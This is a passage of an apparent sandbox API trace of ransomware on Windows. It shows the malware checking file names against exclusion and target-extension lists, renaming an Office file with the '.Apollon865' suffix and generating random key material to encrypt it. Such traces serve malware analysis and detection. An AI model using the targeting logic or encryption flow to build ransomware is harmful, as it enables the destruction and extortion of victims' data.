	[0066.592] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.592] lstrlenW (lpString="adb") returned 3
	[0066.592] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.592] lstrlenW (lpString="ade") returned 3
	[0066.592] lstrcmpiW (lpString1="POC", lpString2="ade") returned 1
	[0066.592] lstrlenW (lpString="adf") returned 3
	[0066.592] lstrcmpiW (lpString1="POC", lpString2="adf") returned 1
	[0066.592] lstrlenW (lpString="adn") returned 3
	[0066.592] lstrcmpiW (lpString1="POC", lpString2="adn") returned 1
	[0066.592] lstrlenW (lpString="adp") returned 3
	[0066.592] lstrcmpiW (lpString1="POC", lpString2="adp") returned 1
	[0066.592] lstrlenW (lpString="alf") returned 3
	[0066.592] lstrcmpiW (lpString1="POC", lpString2="alf") returned 1
	[0066.592] lstrlenW (lpString="ask") returned 3
	[0066.592] lstrcmpiW (lpString1="POC", lpString2="ask") returned 1
	[0066.592] lstrlenW (lpString="btr") returned 3
	[0066.592] lstrcmpiW (lpString1="POC", lpString2="btr") returned 1
	[0066.592] lstrlenW (lpString="cat") returned 3
	[0066.592] lstrcmpiW (lpString1="POC", lpString2="cat") returned 1
	[0066.592] lstrlenW (lpString="cdb") returned 3
	[0066.592] lstrcmpiW (lpString1="POC", lpString2="cdb") returned 1
	[0066.592] lstrlenW (lpString="ckp") returned 3
	[0066.592] lstrcmpiW (lpString1="POC", lpString2="ckp") returned 1
	[0066.592] lstrlenW (lpString="cma") returned 3
	[0066.592] lstrcmpiW (lpString1="POC", lpString2="cma") returned 1
	[0066.592] lstrlenW (lpString="cpd") returned 3
	[0066.592] lstrcmpiW (lpString1="POC", lpString2="cpd") returned 1
	[0066.592] lstrlenW (lpString="dacpac") returned 6
	[0066.592] lstrcmpiW (lpString1="EL.POC", lpString2="dacpac") returned 1
	[0066.592] lstrlenW (lpString="dad") returned 3
	[0066.592] lstrcmpiW (lpString1="POC", lpString2="dad") returned 1
	[0066.592] lstrlenW (lpString="dadiagrams") returned 10
	[0066.592] lstrcmpiW (lpString1="RESPEL.POC", lpString2="dadiagrams") returned 1
	[0066.593] lstrlenW (lpString="daschema") returned 8
	[0066.593] lstrcmpiW (lpString1="SPEL.POC", lpString2="daschema") returned 1
	[0066.593] lstrlenW (lpString="db-journal") returned 10
	[0066.593] lstrcmpiW (lpString1="RESPEL.POC", lpString2="db-journal") returned 1
	[0066.593] lstrlenW (lpString="db-shm") returned 6
	[0066.593] lstrcmpiW (lpString1="EL.POC", lpString2="db-shm") returned 1
	[0066.593] lstrlenW (lpString="db-wal") returned 6
	[0066.593] lstrcmpiW (lpString1="EL.POC", lpString2="db-wal") returned 1
	[0066.593] lstrlenW (lpString="dbc") returned 3
	[0066.593] lstrcmpiW (lpString1="POC", lpString2="dbc") returned 1
	[0066.593] lstrlenW (lpString="dbs") returned 3
	[0066.593] lstrcmpiW (lpString1="POC", lpString2="dbs") returned 1
	[0066.593] lstrlenW (lpString="dbt") returned 3
	[0066.593] lstrcmpiW (lpString1="POC", lpString2="dbt") returned 1
	[0066.593] lstrlenW (lpString="dbv") returned 3
	[0066.593] lstrcmpiW (lpString1="POC", lpString2="dbv") returned 1
	[0066.593] lstrlenW (lpString="dbx") returned 3
	[0066.593] lstrcmpiW (lpString1="POC", lpString2="dbx") returned 1
	[0066.593] lstrlenW (lpString="dcb") returned 3
	[0066.593] lstrcmpiW (lpString1="POC", lpString2="dcb") returned 1
	[0066.593] lstrcmpiW (lpString1="POC", lpString2="dct") returned 1
	[0066.593] lstrcmpiW (lpString1="POC", lpString2="dcx") returned 1
	[0066.593] lstrcmpiW (lpString1="POC", lpString2="ddl") returned 1
	[0066.593] lstrcmpiW (lpString1=".POC", lpString2="dlis") returned -1
	[0066.593] lstrcmpiW (lpString1="POC", lpString2="dp1") returned 1
	[0066.594] lstrcmpiW (lpString1="POC", lpString2="dqy") returned 1
	[0066.594] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="AIR98.POC" | out: lpString1="AIR98.POC") returned="AIR98.POC"
	[0066.594] lstrlenW (lpString="AIR98.POC") returned 9
	[0066.594] lstrlenW (lpString="Apollon865") returned 10
	[0066.594] lstrlenW (lpString=".dll") returned 4
	[0066.594] lstrcmpiW (lpString1="AIR98.POC", lpString2=".dll") returned 1
	[0066.594] lstrlenW (lpString=".lnk") returned 4
	[0066.594] lstrcmpiW (lpString1="AIR98.POC", lpString2=".lnk") returned 1
	[0066.594] lstrlenW (lpString=".ini") returned 4
	[0066.594] lstrcmpiW (lpString1="AIR98.POC", lpString2=".ini") returned 1
	[0066.594] lstrlenW (lpString=".sys") returned 4
	[0066.594] lstrcmpiW (lpString1="AIR98.POC", lpString2=".sys") returned 1
	[0066.594] lstrlenW (lpString="AIR98.POC") returned 9
	[0066.594] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="AWARDHM.POC" | out: lpString1="AWARDHM.POC") returned="AWARDHM.POC"
	[0066.594] lstrlenW (lpString="AWARDHM.POC") returned 11
	[0066.594] lstrlenW (lpString="Apollon865") returned 10
	[0066.594] lstrcmpiW (lpString1="WARDHM.POC", lpString2="Apollon865") returned 1
	[0066.594] lstrlenW (lpString=".dll") returned 4
	[0066.594] lstrcmpiW (lpString1="AWARDHM.POC", lpString2=".dll") returned 1
	[0066.594] lstrlenW (lpString=".lnk") returned 4
	[0066.594] lstrcmpiW (lpString1="AWARDHM.POC", lpString2=".lnk") returned 1
	[0066.594] lstrlenW (lpString=".ini") returned 4
	[0066.594] lstrcmpiW (lpString1="AWARDHM.POC", lpString2=".ini") returned 1
	[0066.594] lstrlenW (lpString=".sys") returned 4
	[0066.594] lstrcmpiW (lpString1="AWARDHM.POC", lpString2=".sys") returned 1
	[0066.594] lstrlenW (lpString="AWARDHM.POC") returned 11
	[0066.594] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BAN98.POC" | out: lpString1="BAN98.POC") returned="BAN98.POC"
	[0066.595] lstrlenW (lpString="BAN98.POC") returned 9
	[0066.595] lstrlenW (lpString="Apollon865") returned 10
	[0066.595] lstrlenW (lpString=".dll") returned 4
	[0066.595] lstrcmpiW (lpString1="BAN98.POC", lpString2=".dll") returned 1
	[0066.595] lstrlenW (lpString=".lnk") returned 4
	[0066.595] lstrcmpiW (lpString1="BAN98.POC", lpString2=".lnk") returned 1
	[0066.595] lstrlenW (lpString=".ini") returned 4
	[0066.595] lstrcmpiW (lpString1="BAN98.POC", lpString2=".ini") returned 1
	[0066.595] lstrlenW (lpString=".sys") returned 4
	[0066.595] lstrcmpiW (lpString1="BAN98.POC", lpString2=".sys") returned 1
	[0066.595] lstrlenW (lpString="BAN98.POC") returned 9
	[0066.595] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BANNER.DPV" | out: lpString1="BANNER.DPV") returned="BANNER.DPV"
	[0066.595] lstrlenW (lpString="BANNER.DPV") returned 10
	[0066.595] lstrlenW (lpString="Apollon865") returned 10
	[0066.595] lstrlenW (lpString=".dll") returned 4
	[0066.595] lstrcmpiW (lpString1="BANNER.DPV", lpString2=".dll") returned 1
	[0066.595] lstrlenW (lpString=".lnk") returned 4
	[0066.595] lstrcmpiW (lpString1="BANNER.DPV", lpString2=".lnk") returned 1
	[0066.595] lstrlenW (lpString=".ini") returned 4
	[0066.595] lstrcmpiW (lpString1="BANNER.DPV", lpString2=".ini") returned 1
	[0066.595] lstrlenW (lpString=".sys") returned 4
	[0066.595] lstrcmpiW (lpString1="BANNER.DPV", lpString2=".sys") returned 1
	[0066.595] lstrlenW (lpString="BANNER.DPV") returned 10
	[0066.595] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BANNER.XML" | out: lpString1="BANNER.XML") returned="BANNER.XML"
	[0066.595] lstrlenW (lpString="BANNER.XML") returned 10
	[0066.595] lstrlenW (lpString="Apollon865") returned 10
	[0066.595] lstrlenW (lpString=".dll") returned 4
	[0066.595] lstrcmpiW (lpString1="BANNER.XML", lpString2=".dll") returned 1
	[0066.595] lstrlenW (lpString=".lnk") returned 4
	[0066.595] lstrcmpiW (lpString1="BANNER.XML", lpString2=".lnk") returned 1
	[0066.595] lstrlenW (lpString=".ini") returned 4
	[0066.596] lstrcmpiW (lpString1="BANNER.XML", lpString2=".ini") returned 1
	[0066.596] lstrlenW (lpString=".sys") returned 4
	[0066.596] lstrcmpiW (lpString1="BANNER.XML", lpString2=".sys") returned 1
	[0066.596] lstrlenW (lpString="BANNER.XML") returned 10
	[0066.596] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML.Apollon865") returned 71
	[0066.596] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.601] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=9068) returned 1
	[0066.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0066.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0066.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0066.602] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0066.602] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.602] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.602] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2670, lpName=0x0) returned 0x154
	[0066.604] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2670) returned 0x100000
	[0066.605] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0066.606] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.606] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.606] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.606] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0066.606] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.606] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0066.606] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.606] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.606] CloseHandle (hObject=0x154) returned 1
	[0066.606] CloseHandle (hObject=0x15c) returned 1
	[0066.606] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0066.606] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0066.607] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0066.607] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab13cf00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab13cf00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x4d90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BDRTKFUL.POC", cAlternateFileName="")) returned 1
	[0066.607] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.607] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2="Apollon865.txt.exe") returned 1
	[0066.607] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2=".") returned 1
	[0066.607] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2="..") returned 1
	[0066.607] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2="windows") returned -1
	[0066.607] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2="bootmgr") returned -1
	[0066.607] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2="temp") returned -1
	[0066.607] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2="pagefile.sys") returned -1
	[0066.607] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2="boot") returned -1
	[0066.607] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2="ids.txt") returned -1
	[0066.607] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2="ntuser.dat") returned -1
	[0066.607] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2="perflogs") returned -1
	[0066.607] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2="MSBuild") returned -1
	[0066.607] lstrlenW (lpString="BDRTKFUL.POC") returned 12
	[0066.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML") returned 60
	[0066.607] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BDRTKFUL.POC" | out: lpString1="BDRTKFUL.POC") returned="BDRTKFUL.POC"
	[0066.607] lstrlenW (lpString="BDRTKFUL.POC") returned 12
	[0066.607] lstrlenW (lpString="Apollon865") returned 10
	[0066.607] lstrcmpiW (lpString1="RTKFUL.POC", lpString2="Apollon865") returned 1
	[0066.607] lstrlenW (lpString=".dll") returned 4
	[0066.607] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2=".dll") returned 1
	[0066.607] lstrlenW (lpString=".lnk") returned 4
	[0066.607] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2=".lnk") returned 1
	[0066.608] lstrlenW (lpString=".ini") returned 4
	[0066.608] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2=".ini") returned 1
	[0066.608] lstrlenW (lpString=".sys") returned 4
	[0066.608] lstrcmpiW (lpString1="BDRTKFUL.POC", lpString2=".sys") returned 1
	[0066.608] lstrlenW (lpString="BDRTKFUL.POC") returned 12
	[0066.608] lstrlenW (lpString="bak") returned 3
	[0066.608] lstrcmpiW (lpString1="POC", lpString2="bak") returned 1
	[0066.608] lstrlenW (lpString="ba_") returned 3
	[0066.608] lstrcmpiW (lpString1="POC", lpString2="ba_") returned 1
	[0066.608] lstrlenW (lpString="dbb") returned 3
	[0066.608] lstrcmpiW (lpString1="POC", lpString2="dbb") returned 1
	[0066.608] lstrlenW (lpString="vmdk") returned 4
	[0066.608] lstrcmpiW (lpString1=".POC", lpString2="vmdk") returned -1
	[0066.608] lstrlenW (lpString="rar") returned 3
	[0066.608] lstrcmpiW (lpString1="POC", lpString2="rar") returned -1
	[0066.608] lstrlenW (lpString="zip") returned 3
	[0066.608] lstrcmpiW (lpString1="POC", lpString2="zip") returned -1
	[0066.608] lstrlenW (lpString="tgz") returned 3
	[0066.608] lstrcmpiW (lpString1="POC", lpString2="tgz") returned -1
	[0066.608] lstrlenW (lpString="vbox") returned 4
	[0066.608] lstrcmpiW (lpString1=".POC", lpString2="vbox") returned -1
	[0066.608] lstrlenW (lpString="vdi") returned 3
	[0066.608] lstrcmpiW (lpString1="POC", lpString2="vdi") returned -1
	[0066.608] lstrlenW (lpString="vhd") returned 3
	[0066.608] lstrcmpiW (lpString1="POC", lpString2="vhd") returned -1
	[0066.608] lstrlenW (lpString="vhdx") returned 4
	[0066.608] lstrcmpiW (lpString1=".POC", lpString2="vhdx") returned -1
	[0066.608] lstrlenW (lpString="avhd") returned 4
	[0066.608] lstrcmpiW (lpString1=".POC", lpString2="avhd") returned -1
	[0066.608] lstrlenW (lpString="db") returned 2
	[0066.608] lstrcmpiW (lpString1="OC", lpString2="db") returned 1
	[0066.608] lstrlenW (lpString="db2") returned 3
	[0066.608] lstrcmpiW (lpString1="POC", lpString2="db2") returned 1
	[0066.608] lstrlenW (lpString="db3") returned 3
	[0066.608] lstrcmpiW (lpString1="POC", lpString2="db3") returned 1
	[0066.609] lstrlenW (lpString="dbf") returned 3
	[0066.609] lstrcmpiW (lpString1="POC", lpString2="dbf") returned 1
	[0066.609] lstrlenW (lpString="mdf") returned 3
	[0066.609] lstrcmpiW (lpString1="POC", lpString2="mdf") returned 1
	[0066.609] lstrlenW (lpString="mdb") returned 3
	[0066.609] lstrcmpiW (lpString1="POC", lpString2="mdb") returned 1
	[0066.609] lstrlenW (lpString="sql") returned 3
	[0066.609] lstrcmpiW (lpString1="POC", lpString2="sql") returned -1
	[0066.609] lstrlenW (lpString="sqlite") returned 6
	[0066.609] lstrcmpiW (lpString1="UL.POC", lpString2="sqlite") returned 1
	[0066.609] lstrlenW (lpString="sqlite3") returned 7
	[0066.609] lstrcmpiW (lpString1="FUL.POC", lpString2="sqlite3") returned -1
	[0066.609] lstrlenW (lpString="sqlitedb") returned 8
	[0066.609] lstrcmpiW (lpString1="KFUL.POC", lpString2="sqlitedb") returned -1
	[0066.609] lstrlenW (lpString="xml") returned 3
	[0066.609] lstrcmpiW (lpString1="POC", lpString2="xml") returned -1
	[0066.609] lstrlenW (lpString="$er") returned 3
	[0066.609] lstrcmpiW (lpString1="POC", lpString2="$er") returned 1
	[0066.609] lstrlenW (lpString="4dd") returned 3
	[0066.609] lstrcmpiW (lpString1="POC", lpString2="4dd") returned 1
	[0066.609] lstrlenW (lpString="4dl") returned 3
	[0066.609] lstrcmpiW (lpString1="POC", lpString2="4dl") returned 1
	[0066.609] lstrlenW (lpString="^^^") returned 3
	[0066.609] lstrcmpiW (lpString1="POC", lpString2="^^^") returned 1
	[0066.609] lstrlenW (lpString="abs") returned 3
	[0066.609] lstrcmpiW (lpString1="POC", lpString2="abs") returned 1
	[0066.609] lstrlenW (lpString="abx") returned 3
	[0066.609] lstrcmpiW (lpString1="POC", lpString2="abx") returned 1
	[0066.609] lstrlenW (lpString="accdb") returned 5
	[0066.609] lstrcmpiW (lpString1="L.POC", lpString2="accdb") returned 1
	[0066.609] lstrlenW (lpString="accdc") returned 5
	[0066.609] lstrcmpiW (lpString1="L.POC", lpString2="accdc") returned 1
	[0066.609] lstrlenW (lpString="accde") returned 5
	[0066.609] lstrcmpiW (lpString1="L.POC", lpString2="accde") returned 1
	[0066.609] lstrlenW (lpString="accdr") returned 5
	[0066.610] lstrcmpiW (lpString1="L.POC", lpString2="accdr") returned 1
	[0066.610] lstrlenW (lpString="accdt") returned 5
	[0066.610] lstrcmpiW (lpString1="L.POC", lpString2="accdt") returned 1
	[0066.610] lstrlenW (lpString="accdw") returned 5
	[0066.610] lstrcmpiW (lpString1="L.POC", lpString2="accdw") returned 1
	[0066.610] lstrlenW (lpString="accft") returned 5
	[0066.610] lstrcmpiW (lpString1="L.POC", lpString2="accft") returned 1
	[0066.610] lstrlenW (lpString="adb") returned 3
	[0066.610] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.610] lstrlenW (lpString="adb") returned 3
	[0066.610] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.610] lstrlenW (lpString="ade") returned 3
	[0066.610] lstrcmpiW (lpString1="POC", lpString2="ade") returned 1
	[0066.610] lstrlenW (lpString="adf") returned 3
	[0066.610] lstrcmpiW (lpString1="POC", lpString2="adf") returned 1
	[0066.610] lstrlenW (lpString="adn") returned 3
	[0066.610] lstrcmpiW (lpString1="POC", lpString2="adn") returned 1
	[0066.610] lstrlenW (lpString="adp") returned 3
	[0066.610] lstrcmpiW (lpString1="POC", lpString2="adp") returned 1
	[0066.610] lstrlenW (lpString="alf") returned 3
	[0066.610] lstrcmpiW (lpString1="POC", lpString2="alf") returned 1
	[0066.610] lstrlenW (lpString="ask") returned 3
	[0066.610] lstrcmpiW (lpString1="POC", lpString2="ask") returned 1
	[0066.610] lstrlenW (lpString="btr") returned 3
	[0066.610] lstrcmpiW (lpString1="POC", lpString2="btr") returned 1
	[0066.610] lstrlenW (lpString="cat") returned 3
	[0066.610] lstrcmpiW (lpString1="POC", lpString2="cat") returned 1
	[0066.610] lstrlenW (lpString="cdb") returned 3
	[0066.610] lstrcmpiW (lpString1="POC", lpString2="cdb") returned 1
	[0066.610] lstrlenW (lpString="ckp") returned 3
	[0066.610] lstrcmpiW (lpString1="POC", lpString2="ckp") returned 1
	[0066.610] lstrlenW (lpString="cma") returned 3
	[0066.610] lstrcmpiW (lpString1="POC", lpString2="cma") returned 1
	[0066.610] lstrlenW (lpString="cpd") returned 3
	[0066.610] lstrcmpiW (lpString1="POC", lpString2="cpd") returned 1
	[0066.611] lstrlenW (lpString="dacpac") returned 6
	[0066.611] lstrcmpiW (lpString1="UL.POC", lpString2="dacpac") returned 1
	[0066.611] lstrlenW (lpString="dad") returned 3
	[0066.611] lstrcmpiW (lpString1="POC", lpString2="dad") returned 1
	[0066.611] lstrlenW (lpString="dadiagrams") returned 10
	[0066.611] lstrcmpiW (lpString1="RTKFUL.POC", lpString2="dadiagrams") returned 1
	[0066.611] lstrlenW (lpString="daschema") returned 8
	[0066.611] lstrcmpiW (lpString1="KFUL.POC", lpString2="daschema") returned 1
	[0066.611] lstrlenW (lpString="db-journal") returned 10
	[0066.611] lstrcmpiW (lpString1="RTKFUL.POC", lpString2="db-journal") returned 1
	[0066.611] lstrlenW (lpString="db-shm") returned 6
	[0066.611] lstrcmpiW (lpString1="UL.POC", lpString2="db-shm") returned 1
	[0066.611] lstrlenW (lpString="db-wal") returned 6
	[0066.611] lstrcmpiW (lpString1="UL.POC", lpString2="db-wal") returned 1
	[0066.611] lstrlenW (lpString="dbc") returned 3
	[0066.611] lstrcmpiW (lpString1="POC", lpString2="dbc") returned 1
	[0066.611] lstrlenW (lpString="dbs") returned 3
	[0066.611] lstrcmpiW (lpString1="POC", lpString2="dbs") returned 1
	[0066.611] lstrlenW (lpString="dbt") returned 3
	[0066.611] lstrcmpiW (lpString1="POC", lpString2="dbt") returned 1
	[0066.611] lstrlenW (lpString="dbv") returned 3
	[0066.611] lstrcmpiW (lpString1="POC", lpString2="dbv") returned 1
	[0066.611] lstrlenW (lpString="dbx") returned 3
	[0066.611] lstrcmpiW (lpString1="POC", lpString2="dbx") returned 1
	[0066.611] lstrlenW (lpString="dcb") returned 3
	[0066.611] lstrcmpiW (lpString1="POC", lpString2="dcb") returned 1
	[0066.611] lstrlenW (lpString="dct") returned 3
	[0066.611] lstrcmpiW (lpString1="POC", lpString2="dct") returned 1
	[0066.611] lstrlenW (lpString="dcx") returned 3
	[0066.611] lstrcmpiW (lpString1="POC", lpString2="dcx") returned 1
	[0066.611] lstrlenW (lpString="ddl") returned 3
	[0066.611] lstrcmpiW (lpString1="POC", lpString2="ddl") returned 1
	[0066.611] lstrlenW (lpString="dlis") returned 4
	[0066.611] lstrcmpiW (lpString1=".POC", lpString2="dlis") returned -1
	[0066.611] lstrlenW (lpString="dp1") returned 3
	[0066.612] lstrcmpiW (lpString1="POC", lpString2="dp1") returned 1
	[0066.612] lstrlenW (lpString="dqy") returned 3
	[0066.612] lstrcmpiW (lpString1="POC", lpString2="dqy") returned 1
	[0066.612] lstrlenW (lpString="dsk") returned 3
	[0066.612] lstrcmpiW (lpString1="POC", lpString2="dsk") returned 1
	[0066.612] lstrlenW (lpString="dsn") returned 3
	[0066.612] lstrcmpiW (lpString1="POC", lpString2="dsn") returned 1
	[0066.612] lstrlenW (lpString="dtsx") returned 4
	[0066.612] lstrcmpiW (lpString1=".POC", lpString2="dtsx") returned -1
	[0066.612] lstrlenW (lpString="dxl") returned 3
	[0066.612] lstrcmpiW (lpString1="POC", lpString2="dxl") returned 1
	[0066.612] lstrlenW (lpString="eco") returned 3
	[0066.612] lstrcmpiW (lpString1="POC", lpString2="eco") returned 1
	[0066.612] lstrlenW (lpString="ecx") returned 3
	[0066.612] lstrcmpiW (lpString1="POC", lpString2="ecx") returned 1
	[0066.612] lstrlenW (lpString="edb") returned 3
	[0066.613] lstrcmpiW (lpString1="POC", lpString2="edb") returned 1
	[0066.613] lstrlenW (lpString="epim") returned 4
	[0066.613] lstrcmpiW (lpString1=".POC", lpString2="epim") returned -1
	[0066.613] lstrlenW (lpString="fcd") returned 3
	[0066.613] lstrcmpiW (lpString1="POC", lpString2="fcd") returned 1
	[0066.613] lstrlenW (lpString="fdb") returned 3
	[0066.613] lstrcmpiW (lpString1="POC", lpString2="fdb") returned 1
	[0066.613] lstrlenW (lpString="fic") returned 3
	[0066.613] lstrcmpiW (lpString1="POC", lpString2="fic") returned 1
	[0066.613] lstrlenW (lpString="flexolibrary") returned 12
	[0066.613] lstrlenW (lpString="fm5") returned 3
	[0066.613] lstrcmpiW (lpString1="POC", lpString2="fm5") returned 1
	[0066.613] lstrlenW (lpString="fmp") returned 3
	[0066.613] lstrcmpiW (lpString1="POC", lpString2="fmp") returned 1
	[0066.614] lstrlenW (lpString="fmp12") returned 5
	[0066.614] lstrcmpiW (lpString1="L.POC", lpString2="fmp12") returned 1
	[0066.614] lstrlenW (lpString="fmpsl") returned 5
	[0066.614] lstrcmpiW (lpString1="L.POC", lpString2="fmpsl") returned 1
	[0066.614] lstrlenW (lpString="fol") returned 3
	[0066.614] lstrcmpiW (lpString1="POC", lpString2="fol") returned 1
	[0066.614] lstrlenW (lpString="fp3") returned 3
	[0066.614] lstrcmpiW (lpString1="POC", lpString2="fp3") returned 1
	[0066.614] lstrlenW (lpString="fp4") returned 3
	[0066.614] lstrcmpiW (lpString1="POC", lpString2="fp4") returned 1
	[0066.614] lstrlenW (lpString="fp5") returned 3
	[0066.614] lstrcmpiW (lpString1="POC", lpString2="fp5") returned 1
	[0066.614] lstrlenW (lpString="fp7") returned 3
	[0066.614] lstrcmpiW (lpString1="POC", lpString2="fp7") returned 1
	[0066.614] lstrlenW (lpString="fpt") returned 3
	[0066.614] lstrcmpiW (lpString1="POC", lpString2="fpt") returned 1
	[0066.614] lstrlenW (lpString="frm") returned 3
	[0066.614] lstrcmpiW (lpString1="POC", lpString2="frm") returned 1
	[0066.614] lstrlenW (lpString="gdb") returned 3
	[0066.614] lstrcmpiW (lpString1="POC", lpString2="gdb") returned 1
	[0066.614] lstrlenW (lpString="gdb") returned 3
	[0066.614] lstrcmpiW (lpString1="POC", lpString2="gdb") returned 1
	[0066.614] lstrlenW (lpString="grdb") returned 4
	[0066.614] lstrcmpiW (lpString1=".POC", lpString2="grdb") returned -1
	[0066.614] lstrlenW (lpString="gwi") returned 3
	[0066.614] lstrcmpiW (lpString1="POC", lpString2="gwi") returned 1
	[0066.614] lstrlenW (lpString="hdb") returned 3
	[0066.614] lstrcmpiW (lpString1="POC", lpString2="hdb") returned 1
	[0066.614] lstrlenW (lpString="his") returned 3
	[0066.614] lstrcmpiW (lpString1="POC", lpString2="his") returned 1
	[0066.614] lstrlenW (lpString="ib") returned 2
	[0066.614] lstrcmpiW (lpString1="OC", lpString2="ib") returned 1
	[0066.614] lstrlenW (lpString="idb") returned 3
	[0066.614] lstrcmpiW (lpString1="POC", lpString2="idb") returned 1
	[0066.615] lstrlenW (lpString="ihx") returned 3
	[0066.615] lstrcmpiW (lpString1="POC", lpString2="ihx") returned 1
	[0066.615] lstrlenW (lpString="itdb") returned 4
	[0066.615] lstrcmpiW (lpString1=".POC", lpString2="itdb") returned -1
	[0066.615] lstrlenW (lpString="itw") returned 3
	[0066.615] lstrcmpiW (lpString1="POC", lpString2="itw") returned 1
	[0066.615] lstrlenW (lpString="jet") returned 3
	[0066.615] lstrcmpiW (lpString1="POC", lpString2="jet") returned 1
	[0066.615] lstrlenW (lpString="jtx") returned 3
